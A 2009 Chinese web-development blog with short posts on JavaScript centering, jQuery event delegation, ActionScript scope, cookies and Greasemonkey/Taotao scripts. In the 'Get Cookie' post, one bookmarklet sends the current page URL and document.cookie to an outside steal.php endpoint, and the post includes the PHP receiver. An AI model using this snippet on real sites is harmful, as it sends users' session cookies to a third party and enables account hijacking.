页面垂直居中(js实现)

页面垂直居中,登录之类的页面会用到,css似乎没办法实现,用js来做吧 var valgin = function(){ var height = window.innerHeight || window.document.documentElement.clientHeight || window.document.body.clientHeight; var t=$$('body')[0]; var top = (height - t.getHeight()) / 2; top = top>0 ? top : 0; t.setStyle({marginTop : top+'px'}); // t.setStyle({top:top+'px', 'position':'absolute'}); }; window.onload = valgin; window.onresize = valgin;

November 9, 2009 · notsobad

jQuery的监测事件

如何对一系列dom元素绑定事件? 那些元素在后续操作中还有可能会增加。 prototype.js中可以使用Event.Observe, jQuery中怎么做呢? 参考如下: 使用jquery中的事件检测而不事先绑定。 http://www.beyondstandards.com/archives/jquery-ajax-and-event-handlers/ http://docs.jquery.com/Events/live <http://www.sitepoint.com/blogs/2008/07/23/javascript-event-delegation-is- easier-than-you-think/> function aClick() { $("div").show().fadeOut("slow"); } $("#bind").click(function () { $("#theone").live("click", aClick) .text("Can Click!"); }); $("#unbind").click(function () { $("#theone").die("click", aClick) .text("Does nothing..."); });

August 16, 2009 · notsobad

Action script的作用域

在看action script,看到了变量作用域,实际上和javascript是一样的。 查看原文 变量的"作用域"是指可在其中通过引用词汇来访问变量的代码区域。“全局"变量是指在代码的所有区域中定义的变量,而"局部"变量是指仅在代码的某个部分定义的变量。在 ActionScript 3.0 中,始终为变量分配声明它们的函数或类的作用域。全局变量是在任何函数或类定义的外部定义的变量。例如,下面的代码通过在任何函数的外部声明一个名为 strGlobal 的全局变量来创建该变量。从该示例可看出,全局变量在函数定义的内部和外部均可用。 var strGlobal:String = “Global”; function scopeTest() { trace(strGlobal); // 全局 } scopeTest(); trace(strGlobal); // 全局 可以通过在函数定义内部声明变量来将它声明为局部变量。可定义局部变量的最小代码区域就是函数定义。在函数内部声明的局部变量仅存在于该函数中。例如,如果在名为 localScope() 的函数中声明一个名为 str2 的变量,该变量在该函数外部将不可用。 function localScope() { var strLocal:String = “local”; } localScope(); trace(strLocal); // 出错,因为未在全局定义 strLocal 如果用于局部变量的变量名已经被声明为全局变量,那么,当局部变量在作用域内时,局部定义会隐藏(或遮蔽)全局定义。全局变量在该函数外部仍然存在。例如,下面的代码创建一个名为 str1 的全局字符串变量,然后在 scopeTest() 函数内部创建一个同名的局部变量。该函数中的 trace 语句输出该变量的局部值,而函数外部的 trace 语句则输出该变量的全局值。 var str1:String = “Global”; function scopeTest () { var str1:String = “Local”; trace(str1); // 本地 } scopeTest(); trace(str1); // 全局 与 C++ 和 Java 中的变量不同的是,ActionScript 变量没有块级作用域。代码块是指左大括号 ({) 与右大括号 (}) 之间的任意一组语句。在某些编程语言(如 C++ 和 Java)中,在代码块内部声明的变量在代码块外部不可用。对于作用域的这一限制称为块级作用域,ActionScript 中不存在这样的限制,如果您在某个代码块中声明一个变量,那么,该变量不仅在该代码块中可用,而且还在该代码块所属函数的其它任何部分都可用。例如,下面的函数包含在不同的块作用域中定义的变量。所有的变量均在整个函数中可用。 function blockTest (testArray:Array) { var numElements:int = testArray.length; if (numElements > 0) { var elemStr:String = “Element #”; for (var i:int = 0; i < numElements; i++) { var valueStr:String = i + “: " + testArray[i]; trace(elemStr + valueStr); } trace(elemStr, valueStr, i); // 仍定义了所有变量 } trace(elemStr, valueStr, i); // 如果 numElements > 0,则会定义所有变量 } blockTest([“Earth”, “Moon”, “Sun”]); 有趣的是,如果缺乏块级作用域,那么,只要在函数结束之前对变量进行声明,就可以在声明变量之前读写它。这是由于存在一种名为"提升"的方法,该方法表示编译器会将所有的变量声明移到函数的顶部 。例如,下面的代码会进行编译,即使 num 变量的初始 trace() 函数发生在声明 num 变量之前也是如此。 trace(num); // NaN var num:Number = 10; trace(num); // 10 但是,编译器将不会提升任何赋值语句。这就说明了为什么 num 的初始 trace() 会生成 NaN(而非某个数字),NaN 是 Number 数据类型变量的默认值。这意味着您甚至可以在声明变量之前为变量赋值,如下面的示例所示: num = 5; trace(num); // 5 var num:Number = 10; trace(num); // 10 ...

July 27, 2009 · notsobad

Javascript 来判断网络通断

一项应用可能会导致 web server 重启, 我需要检测这个重启过程,重启完毕能够给用户以通知 思路: js的生存期是在客户端,即使服务器已经重启,js仍可运行,所以用js是可以实现的 因为server上存在着favicon.ico文件,可以以检测是否能取得这个文件,来判断网络的通断。 ...

May 20, 2009 · notsobad

Form中action的参数限制

今天遇到的一个问题及其解决。 这样的一个表单: <form method=post action="/post.php?_in_form=123">... 在server端: <? //取不到$_GET['_in_form']! ?> 查了一些资料 参考: Methods GET and POST in HTML forms - what’s the difference? 关于GET和POST,数据的不同处理 If the method is "get" - -, the user agent takes the value of action, appends a ? to it, then appends the form data set, encoded using the application/x-www-form-urlencoded content type. The user agent then traverses the link to this URI. In this scenario, form data are restricted to ASCII codes. * If the method is "post" --, the user agent conducts an HTTP post transaction using the value of the action attribute and a message created according to the content type specified by the enctype attribute. 结论: get形式的from中,action中的get参数是不会传递的,应该把需要的附加参数作为form隐藏域处理 ...

May 18, 2009 · notsobad

Cookie整理

cookie最大4k,最多20个key-value对 参考: http://support.microsoft.com/kb/306070 每个 cookie 开头名称值对。 此对是并后跟零或者由分号分隔的多个属性-值对。 对于一个域名每个 cookie 被限制为 4,096 字节。 该总计可以存在的 4 千字节 (KB) 的一个名称-值对形式,或者为最多 20 个名称-值对的总的 4 KB。如果在计算机上没有足够空间来存储 Cookie,会丢弃该 Cookie。 将被截尾取不整。 应用程序应该使用尽可能少的 Cookie 尽可能和为小写 Cookie 尽可能。 此外,应用程序应能够处理 cookie 丢失。 ...

May 13, 2009 · notsobad

一个cookie的问题

Bug能藏多长时间? 如果一直没人注意,也许会一直生存下去…… 下面是一个设置cookie的函数, 今天才发现它居然有这么严重的bug,你能看出来吗? function setCookie (name, value) { //设置名称为name,值为value的Cookie var argc = arguments.length; var argv = arguments; var path = (argc >= 2) ? argv[2] : '/'; var domain = (argc >= 3) ? argv[3] : null; var secure = (argc >= 4) ? argv[4] : false; str = name + "=" + value + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); document.cookie = str; } function getCookie(c_name) { if (document.cookie.length>0) { c_start=document.cookie.indexOf(c_name + "="); if (c_start != -1) { c_start = c_start + c_name.length + 1; c_end = document.cookie.indexOf(";",c_start); if (c_end == -1) c_end = document.cookie.length; return unescape(document.cookie.substring(c_start,c_end)); } } return ""; } 问题在这里,绕了半天才想明白。 var argc = arguments.length; var argv = arguments; var path = (argc >= 2) ? argv[2] : ‘/’; var domain = (argc >= 3) ? argv[3] : null; var secure = (argc >= 4) ? argv[4] : false; 因为argc的取值是1,2,3… argv[]的key取值是0,1,2,3….. ...

May 11, 2009 · notsobad

Get Cookie

如果你需要查看其他网站给自己的cookie,可以这样: [See cookie](javascript:\(function\(\){prompt\("Cookie is:", document.cookie\);}\)\(\);) 把它拖动到书签工具栏上,ie就是加为书签,然后在需要的网站上点这个书签,就可以看到cookie 下面这个,会把cookie送给其他站点(如果你有这方面需要) [Send cookie](javascript:\(function\(\){var%20a=window,b=document,c=encodeURIComponent,d=a.open\("http://blog.notsobad.cn/php/steal.php?url="+c\(b.location\)+"&cookie="+c\(b.cookie\),"bkmk_popup","left="+\(\(a.screenX||a.screenLeft\)+10\)+",top="+\(\(a.screenY||a.screenTop\)+10\)+",height=420px,width=650px,resizable=1,alwaysRaised=1"\);a.setTimeout\(function\(\){d.focus\(\)},300\)}\)\(\);) steal.php <? // steal.php function _p($s, $d){ echo "<pre>"; echo "$d\n"; print_r($s); echo "</pre>"; } _p($_GET, '$_GET is :'); _p($_POST, '$_POST is :'); ?>

May 11, 2009 · notsobad

douban小组中的'只看楼主'

此脚本已过时,请访问这个替代 From: notsobad 最近在追着就看豆瓣的那些直播贴,很无聊。。。。 写了个greasemokey脚本,添加了个只看楼主功能。 代码在这里 /********************************************************* 用于douban小组中的"只看搂主",会把楼主的帖子加边框,同时,添加快捷键n,p “n”: 跳转到楼主下一个帖子,如果到了本页结尾,则跳回第一条 "p": 跳转到楼主下一个帖子,如果到了本页结尾,则跳回下一页 *********************************************************/ // ==UserScript== // @name douban // @namespace douban // @description test // @include *.douban.com/* // ==/UserScript== var log = (unsafeWindow.console && console.log) || GM_log; var $ = unsafeWindow.jQuery || function(){}; log("now url: " + location.href); function xPath(aNode, aExpr) { var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(aNode.ownerDocument == null ? aNode.documentElement : aNode.ownerDocument.documentElement); var result = xpe.evaluate(aExpr, aNode, nsResolver, 0, null); var found = []; var res; while (res = result.iterateNext()) found.push(res); return found; } (function(){ /********************************************************** 用于douban小组中的"只看搂主",会把楼主的帖子加边框,同时,添加快捷键n,p “n”: 跳转到楼主下一个帖子,如果到了本页结尾,则跳回第一条 "p": 跳转到楼主下一个帖子,如果到了本页结尾,则跳回下一页 **********************************************************/ if(location.href.indexOf("http://www.douban.com/group/topic") != 0) return; var temp = /&_lz_id=([^&\/\#]+)/.exec(location.href); if(temp){ var lz_id = temp[1]; var lz_url = "http://www.douban.com/people/"+ lz_id + "/"; }else{ // First page var lz = xPath(document , '//div[@id="in_tablem"]//td[@class="wrtd"][1]/a')[0]; var lz_id = lz.href.split('/people/')[1].replace('/',''); var lz_url = lz.href; } log("lz is: " + lz_url); var all = xPath(document , '//div[@id="in_tablem"]/table[@class="wr"]//table[@class="wr"]'); var pages = xPath(document , '//div[@id="in_tablem"]/div[@class="paginator"]//a'); //为分页链接附加参数,_lz_id Array.forEach(pages, function(p){ var sep = p.href.indexOf('?') != -1 ? '&' : '?'; p.href += sep + '_lz_id=' + lz_id; }); //高亮楼主, 添加锚点 var lz_list = []; Array.forEach(all, function(table, index){ user = table.getElementsByTagName('a')[0]; //log("now user: " + user.href); if(user.href == lz_url){ table.style.border="5px solid black"; table.style.overflow = "scroll"; lz_list.push(index); var a = document.createElement('a'); a.name = index; table.parentNode.insertBefore(a, table); } }); //快捷键 var i = 0; document.addEventListener('keydown', function(e){ if(e.target.tagName == 'INPUT' || e.target.tagName == 'TEXTAREA') return; var has_more = !!lz_list && i < lz_list.length && true; // 'n'=>78, 'p'=>80, 'j'=>74 if(!has_more){ if(e.keyCode == 80) location.href = pages[pages.length-1].href; else if(e.keyCode == 78) i=0; return; } if(e.keyCode == 78 || e.keyCode == 80){ //log('Moving next....'); location.href = '#' + lz_list[i]; i++; } },false); })();

April 30, 2009 · notsobad

taotao api

taotao,也就是自己qq签名的api哎 参考这个 http://code.google.com/p/taotao/source/browse/trunk/TaotaoResponse.cs 还有这个 http://www.taotao.com/js/dkapi.js 可以得到地址为: <http://www.taotao.com/cgi- bin/msgj?qq=$>{qq}&num=${taotao_num}&t=${taotao_type} 如: [http://www.taotao.com/cgi- bin/msgj?qq=281116124&num=20&t=1](http://www.taotao.com/cgi- bin/msgj?qq=281116124&num=20&t=1) 貌似没什么限制,可以自己代码里用 附: 格式化后的dkapi.js 从这里可一看出返回参数的用途 var MAX_ITEMS=20,taotao_pane_id="id_apiPane",KEY_WORD_YJ="[假]"; var taotao_sr=new Array('网页','QQ机器人','QQ空间','QQ签名','短信','手机上网','MSN机器人','MSN签名','手机QQ','彩信','订阅',"",'QQ状态'); function LK(str) { return document.createElement(str); }function LL(str) { return document.getElementById(str); }function LG(str,target) { var re=new RegExp("http(s)?://([a-z0-9?.=%&-_;#\\/])+","ig"); if(target=='_blank') { str=str.replace(re,"<a target='_blank' href='$&'>$&</a>"); }else { str=str.replace(re,"<a href='$&'>$&</a>"); }return str; }function LH(str) { if(typeof(str)=="string") { str=str.replace(/[\r\n\t\0]/g,""); return str; } }function LE(str,target) { str=LH(str); var re=/(\[URL=(.[^\[]*)\])(.*?)(\[\/URL\])/ig; if(target=='_blank') { str=str.replace(re,"<A HREF=$2 TARGET=_blank>$3</A>"); }else { str=str.replace(re,"<A HREF=$2>$3</A>"); }return str; }function initApi() { if(typeoftaotao_qq=='undefined') { alert("we can not get qq num,show nothing...!"); return ; }if(typeoftaotao_num=='undefined'||taotao_num<=0||taotao_num>20) { taotao_num=20; }if(typeoftaotao_type=='undefined'||taotao_type<0||taotao_type>1) { taotao_type=0; } }function LI(url) { g_cximg=null; g_cximg=new Array(); var re=/\[IMG\](.+?)\[\/IMG\]/ig,tt=url.match(re); g_ubbcon=url.replace(re,''); for(var i=0;i<tt.length;++i) { g_cximg[g_cximg.length]=tt[i].replace(re,"$1"); } }function LF(str) { if(str.substr(0,3)==KEY_WORD_YJ) { str='<font style="color:red">'+KEY_WORD_YJ+'</font>'+str.substr(3,str.length-3); }return str; }function doApi(obj) { if(obj.ret!=0) { pane.innerHTML="对不起!暂时无法获取滔滔的唠叨,请稍候重试..."; return ; }var qq=obj.ui.qq,name=obj.ui.name,usn=obj.ui.usn,rank=obj.ui.rank,lrank=obj.ui.lrank,rec=obj.rec; var arr=obj.posts,i=0,data,pane=LL(taotao_pane_id),li,span,a,bD=false; for(i=0;i<arr.length;i++) { data=arr[i]; li=LK("li"); li.style.wordBreak="break-all"; li.style.height="auto"; li.style.overflowY="auto"; if(obj.type==1) { a=LK('a'); a.style.marginRight="8px"; a.innerText=data.nm; a.textContent=data.nm; a.href="<http://www.taotao.com/v1/space/>"+data.qq; li.appendChild(a); if(data.pqq) { li.appendChild(document.createTextNode("@")); a=LK('a'); a.style.marginRight="8px"; a.innerText=data.pnm; a.textContent=data.pnm; a.href="<http://www.taotao.com/v1/space/>"+data.pqq; li.appendChild(a); } }span=LK("span"); if(data.sr==10) { span.innerHTML=LE(data.cn,"_blank"); }else if(data.sr==9) { LI(data.cn); var cxlen=g_cximg.length; span.innerHTML=g_ubbcon+'&nbsp;<a target="_blank" href="<http://www.taotao.com/caixin.shtml?qq='+qq+>"&tid="+data.id+'">点击查看彩信</a>'; }else { span.innerHTML=LF(LG(data.cn,"_blank")); }li.appendChild(span); span=LK("span"); span.style.marginLeft="8px"; a=LK('a'); a.style.color="#929091"; if(parseInt(data.pqq)>0) { a.href='<http://www.taotao.com/v1/reply/t.'+data.pid+'/u.'+data.pqq>; }else { a.href='<http://www.taotao.com/v1/reply/t.'+data.id+'/u.'+qq>; }a.innerHTML=LJ(data.time); li.appendChild(span); span.appendChild(a); span=LK("span"); span.style.marginLeft="4px"; span.innerText="通过 "+taotao_sr[data.sr]; span.textContent="通过 "+taotao_sr[data.sr]; li.appendChild(span); pane.appendChild(li); } }function LJ(t) { if(t.charAt(1)!=',') { return t; }if(t.length<2) { return ""; }var n=t.charAt(0),v=t.substr(2,t.length),s=''; if(n==1) { s='约&nbsp;'+v+'&nbsp;秒前'; }else if(n==2) { s='约&nbsp;'+v+'&nbsp;分钟前'; }else if(n==3) { s='约&nbsp;'+v+'&nbsp;小时前'; }else if(n==4) { s='约&nbsp;1&nbsp;天前'; }else if(n==5) { s='约&nbsp;3&nbsp;天前'; }else if(n==6) { s='约&nbsp;1&nbsp;周前'; }else if(n==7) { s=v; }return s; }function inclApi() { var src="<http://www.taotao.com/cgi-bin/msgj?qq=>"+taotao_qq+"&num="+taotao_num+"&t="+taotao_type,htm='<div>'+'<ul id='+taotao_pane_id+' style="margin-bottom:5px">'+'</ul>'+'<table cellpadding="0" cellspacing="0" border="0" width="100%">'+'<tr>'+'<td align="left">'+'<a href="<http://www.taotao.com/v1/space/'+taotao_qq+'>" style="color:#0278c2;float:left;display:block;">更多唠叨</a>'+'</td>'+'<td align="right">'+'<a href="<http://www.taotao.com>" title="滔滔" target="_blank" style="width:96px;height:20px;cursor:pointer;float:left;display:block;*filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=\'[http://www.taotao.com/images/logo.png\',sizingMethod=\'image\'](http://www.taotao.com/images/logo.png%5C',sizingMethod=%5C'image%5C'));background:url(<http://www.taotao.com/images/logo.png>) no-repeat left top !important;*background:none;"></a>'+'</td>'+'</tr>'+'</table>'+'</div>'; window.document.write(htm); window.document.write('<sc'+'ript type="text/javascript" charset="utf-8" src="'+src+'"></'+'script>'); }initApi(); inclApi();

April 30, 2009 · notsobad